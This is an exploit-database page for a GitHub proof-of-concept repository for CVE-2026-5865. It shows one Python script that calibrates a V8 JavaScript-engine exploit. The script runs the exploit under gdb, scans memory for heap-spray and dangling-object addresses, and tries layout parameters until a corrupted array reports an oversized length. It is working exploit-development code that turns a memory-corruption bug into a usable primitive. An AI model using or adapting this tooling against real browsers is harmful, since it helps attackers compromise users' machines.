Exploit database

GH-6debb0545ad15249604ea110ae9b4518

5o1z/cve-2026-5865

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-5865

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
5o1z/cve-2026-5865Revision 15a6a1a8259d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

calibrate_layout.py

Python · 8,356 bytes
#!/usr/bin/env python3
from __future__ import annotations

import json
import os
import re
import shutil
import struct
import subprocess
import tempfile
from pathlib import Path


ROOT = Path(__file__).resolve().parent
D8 = Path(os.environ.get("D8_BIN", ROOT / "../v8/out/StaticReleaseWithSymbol/d8")).expanduser()
EXP = Path(os.environ.get("JS_FILE", ROOT / "exp.js")).expanduser()
D8_FLAGS = ("--allow-natives-syntax", "--expose-gc", "--maglev")
EXPECTED_LENGTH = 0x20000


def absolute(path: Path) -> Path:
    return path if path.is_absolute() else ROOT / path


def layout_value(source: str, name: str) -> int:
    match = re.search(rf"{name}:\s*([^,\n}}]+)", source)
    if not match:
        raise RuntimeError(f"missing layout.{name}")
    return int(match.group(1), 0)


def patch_layout(source: str, *, gc_count: int, spray_length: int, fake_slot: int) -> str:
    replacements = {
        "sprayIndex": 64,
        "fakeSlot": fake_slot,
        "sprayLength": spray_length,
        "minorGcCount": gc_count,
    }
    for name, value in replacements.items():
        source, count = re.subn(
            rf"({name}:\s*)[^,\n}}]+", rf"\g<1>{value}", source, count=1
        )
        if count != 1:
            raise RuntimeError(f"could not patch layout.{name}")
    return source


def instrument(source: str, *, gc_count: int, spray_length: int) -> str:
    source = patch_layout(source, gc_count=gc_count, spray_length=spray_length, fake_slot=0)
    source = source.replace(
        "let victim = { x: 1 };",
        "function marker() { %SystemBreak(); }\n\nlet victim = { x: 1 };",
        1,
    )
    source = source.replace(
        "trigger(victim, true, true, MAX_SMI);",
        "trigger(victim, true, true, MAX_SMI);\nmarker();",
        1,
    )
    source = source.replace(
        "obj[layout.sprayIndex + 1] = [1.1];",
        "obj[layout.sprayIndex + 1] = [1.1];\nmarker();\nquit(0);",
        1,
    )
    return source


def gdb_script(spray_length: int) -> str:
    spray_pattern = b"".join(struct.pack("<II", 0xCC, i) for i in range(spray_length))
    one_point_one = struct.pack("<d", 1.1)
    heap_number_value = struct.pack("<d", 1073741824.0)
    return f"""
set pagination off
set confirm off
set breakpoint pending on
set disable-randomization on
handle SIGTRAP nostop noprint nopass

python
import json

state = {{"breaks": 0, "dangling": []}}
spray_pattern = {spray_pattern!r}
one_point_one = {one_point_one!r}
heap_number_value = {heap_number_value!r}
spray_length = {spray_length}

def mem(addr, size):
    try:
        return bytes(gdb.selected_inferior().read_memory(addr, size))
    except gdb.MemoryError:
        return None

def u32(addr):
    data = mem(addr, 4)
    return None if data is None else int.from_bytes(data, "little")

def maps():
    with open(f"/proc/{{gdb.selected_inferior().pid}}/maps", "r", encoding="ascii") as f:
        for line in f:
            fields = line.split(maxsplit=5)
            if "r" not in fields[1] or "w" not in fields[1]:
                continue
            if len(fields) == 6 and "[stack]" in fields[5]:
                continue
            start, end = fields[0].split("-")
            yield int(start, 16), int(end, 16)

def scan(pattern, limit=128):
    hits = []
    overlap = len(pattern) - 1
    for start, end in maps():
        cursor = start
        tail = b""
        while cursor < end:
            size = min(0x100000, end - cursor)
            chunk = mem(cursor, size)
            if chunk:
                data = tail + chunk
                off = data.find(pattern)
                while off != -1:
                    hits.append(cursor - len(tail) + off)
                    if len(hits) >= limit:
                        return hits
                    off = data.find(pattern, off + 1)
                tail = data[-overlap:]
            else:
                tail = b""
            cursor += size
    return hits

def after_trigger():
    for value in scan(heap_number_value, limit=64):
        base = value - 4
        if u32(base):
            state["dangling"].append(base)

def after_spray():
    spray_hits = scan(spray_pattern)
    marker_hits = [x for x in scan(one_point_one, limit=256) if u32(x - 4) == 2]
    candidates = []
    for base in state["dangling"]:
        for payload in spray_hits:
            delta = base - payload
            slot = delta // 8
            if delta >= 0 and delta % 8 == 0 and slot + 1 < spray_length:
                markers = [x - base for x in marker_hits if x > base]
                candidates.append({{
                    "slot": slot,
                    "marker_delta": min(markers) if markers else 0x100000,
                }})
    print("CALIBRATION_RESULT " + json.dumps(candidates, sort_keys=True))

def on_break():
    state["breaks"] += 1
    if state["breaks"] == 1:
        after_trigger()
    elif state["breaks"] == 2:
        after_spray()
end

break v8::internal::Runtime_SystemBreak
commands
  silent
  python on_break()
  continue
end

run
"""


def gdb_candidates(d8: Path, exp: Path, source: str, gc_count: int, spray_length: int) -> list[int]:
    with tempfile.TemporaryDirectory(prefix="layout-calibrate-") as tmp:
        tmp = Path(tmp)
        trial_js = tmp / "trial.js"
        trial_gdb = tmp / "trial.gdb"
        trial_js.write_text(instrument(source, gc_count=gc_count, spray_length=spray_length))
        trial_gdb.write_text(gdb_script(spray_length))
        result = subprocess.run(
            ["gdb", "-q", "-nx", "-batch", "-x", str(trial_gdb), "--args", str(d8), *D8_FLAGS, str(trial_js)],
            cwd=exp.parent,
            text=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=30,
        )

    candidates: list[tuple[int, int]] = []
    for line in result.stdout.splitlines():
        if not line.startswith("CALIBRATION_RESULT "):
            continue
        for item in json.loads(line.removeprefix("CALIBRATION_RESULT ")):
            slot = int(item["slot"])
            marker_delta = int(item["marker_delta"])
            for neighbor in range(slot - 3, slot + 4):
                if 0 <= neighbor + 1 < spray_length:
                    candidates.append((0 if neighbor == slot else 1, marker_delta, neighbor))

    return [slot for _, _, slot in sorted(set(candidates))]


def verify(d8: Path, exp: Path, source: str, gc_count: int, spray_length: int, fake_slot: int) -> str | None:
    exp.write_text(patch_layout(source, gc_count=gc_count, spray_length=spray_length, fake_slot=fake_slot))
    result = subprocess.run(
        [str(d8), *D8_FLAGS, str(exp)],
        cwd=exp.parent,
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        timeout=10,
    )
    if result.returncode == 0 and f"evil length = {EXPECTED_LENGTH}" in result.stdout:
        return result.stdout
    return None


def trial_order(source: str) -> list[tuple[int, int]]:
    current = (layout_value(source, "minorGcCount"), layout_value(source, "sprayLength"))
    order = [current]
    order += [(gc_count, current[1]) for gc_count in (1, 2, 3, 4) if gc_count != current[0]]
    order += [(gc_count, 64) for gc_count in (1, 2, 3, 4) if current[1] != 64]
    return order


def main() -> int:
    d8 = absolute(D8)
    exp = absolute(EXP)
    if not d8.is_file() or not os.access(d8, os.X_OK):
        raise SystemExit(f"missing d8: {d8}")
    if not exp.is_file():
        raise SystemExit(f"missing exp.js: {exp}")
    if shutil.which("gdb") is None:
        raise SystemExit("missing gdb")

    original = exp.read_text()
    try:
        for gc_count, spray_length in trial_order(original):
            for fake_slot in gdb_candidates(d8, exp, original, gc_count, spray_length):
                output = verify(d8, exp, original, gc_count, spray_length, fake_slot)
                if output is None:
                    continue
                print(
                    f"selected layout minorGcCount={gc_count} "
                    f"sprayLength={spray_length} fakeSlot={fake_slot}"
                )
                print(output.rstrip())
                return 0
    except Exception:
        exp.write_text(original)
        raise

    exp.write_text(original)
    print("calibration failed")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())